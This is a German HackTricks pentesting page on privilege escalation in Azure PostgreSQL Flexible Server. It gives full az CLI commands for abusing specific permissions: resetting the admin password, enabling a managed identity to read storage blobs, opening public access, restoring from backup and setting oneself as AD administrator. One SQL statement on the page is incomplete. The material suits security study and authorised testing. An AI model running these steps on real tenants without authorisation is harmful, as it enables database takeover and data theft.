Az - PostgreSQL Privesc
Reading time: 4 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
PostgreSQL Privesc
Für weitere Informationen zur SQL-Datenbank siehe:
Microsoft.DBforPostgreSQL/flexibleServers/read
&& Microsoft.DBforPostgreSQL/flexibleServers/write
Mit dieser Berechtigung können Sie PostgreSQL Flexible Server-Instanzen auf Azure erstellen, aktualisieren oder löschen. Dies umfasst die Bereitstellung neuer Server, die Modifizierung bestehender Serverkonfigurationen oder die Stilllegung von Servern.
az postgres flexible-server create \
--name <ServerName> \
--resource-group <ResourceGroupName> \
--location <Location> \
--admin-user <AdminUsername> \
--admin-password <AdminPassword> \
--sku-name <SkuName> \
--storage-size <StorageSizeInGB> \
--tier <PricingTier> \
--version <PostgreSQLVersion>
Zum Beispiel erlauben diese Berechtigungen das Ändern des PostgreSQL-Passworts, was natürlich nützlich ist, falls die PostgreSQL-Authentifizierung aktiviert ist.
az postgres flexible-server update \
--resource-group <resource_group_name> \
--name <server_name> \
--admin-password <password_to_update>
Darüber hinaus können Sie mit den Berechtigungen die zugewiesene Identität aktivieren und mit der verwalteten Identität, die an den Server angehängt ist, arbeiten. Hier finden Sie alle Erweiterungen, die der Azure PostgreSQL Flexible Server unterstützt https://learn.microsoft.com/en-us/azure/cosmos-db/postgresql/reference-extensions. Um diese Erweiterungen nutzen zu können, müssen einige Serverparameter (azure.extensions) geändert werden. Zum Beispiel hier mit einer verwalteten Identität, die auf Azure Storage zugreifen kann:
Zuerst ändern wir die Parameter und stellen sicher, dass die zugewiesene Identität aktiviert ist:
az postgres flexible-server parameter set \
--resource-group <YourResourceGroupName> \
--server-name <YourServerName> \
--name azure.extensions \
--value "AZURE_STORAGE"
az postgres flexible-server identity update \
--resource-group <YourResourceGroupName> \
--server-name <YourServerName> \
--system-assigned Enabled
CREATE EXTENSION IF NOT EXISTS azure_storage;
CREATE EXTERNAL DATA SOURCE ManagedIdentity
SELECT azure_storage.account_add('<storage-account>', '<storage-key>');
SELECT *
FROM azure_storage.blob_get(
'<storage-account>',
'<container>',
'message.txt',
decoder := 'text'
) AS t(content text)
LIMIT 1;
Zusätzlich ist es notwendig, den öffentlichen Zugriff zu aktivieren, wenn Sie von einem nicht privaten Endpunkt aus zugreifen möchten. Um ihn zu aktivieren:
az postgres flexible-server update --resource-group <resource_group_name> --server-name <server_name> --public-access Enabled
Microsoft.DBforPostgreSQL/flexibleServers/read
, Microsoft.DBforPostgreSQL/flexibleServers/write
, Microsoft.DBforPostgreSQL/flexibleServers/backups/read
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Mit diesen Berechtigungen können Sie einen Server aus einem Backup wiederherstellen mit:
az postgres flexible-server restore \
--resource-group <RESOURCE_GROUP> \
--name <NEW_SERVER_NAME> \
--source-server <SOURCE_SERVER_NAME> \
--restore-time "<ISO8601_TIMESTAMP>" \
--yes
Microsoft.DBforPostgreSQL/flexibleServers/read
, Microsoft.DBforPostgreSQL/flexibleServers/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
, Microsoft.DBforPostgreSQL/flexibleServers/administrators/write
&& Microsoft.DBforPostgreSQL/flexibleServers/administrators/read
Mit dieser Berechtigung können Sie Azure Active Directory (AD) Administratoren für einen PostgreSQL Flexible Server konfigurieren. Dies kann ausgenutzt werden, indem man sich selbst oder ein anderes Konto als AD-Administrator festlegt, was vollständige administrative Kontrolle über den PostgreSQL-Server gewährt. Das Aktualisieren bestehender Principal wird derzeit noch nicht unterstützt, daher müssen Sie, wenn einer erstellt wurde, diesen zuerst löschen.
Es ist wichtig, dass der flexible Server über zugewiesene verwaltete Identitäten verfügt, die verwendet werden können.
az postgres flexible-server ad-admin create \
--resource-group <ResourceGroupName> \
--server-name <ServerName> \
--display-name <ADAdminDisplayName> \
--identity <IdentityNameOrID> \
--object-id <ObjectID>
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.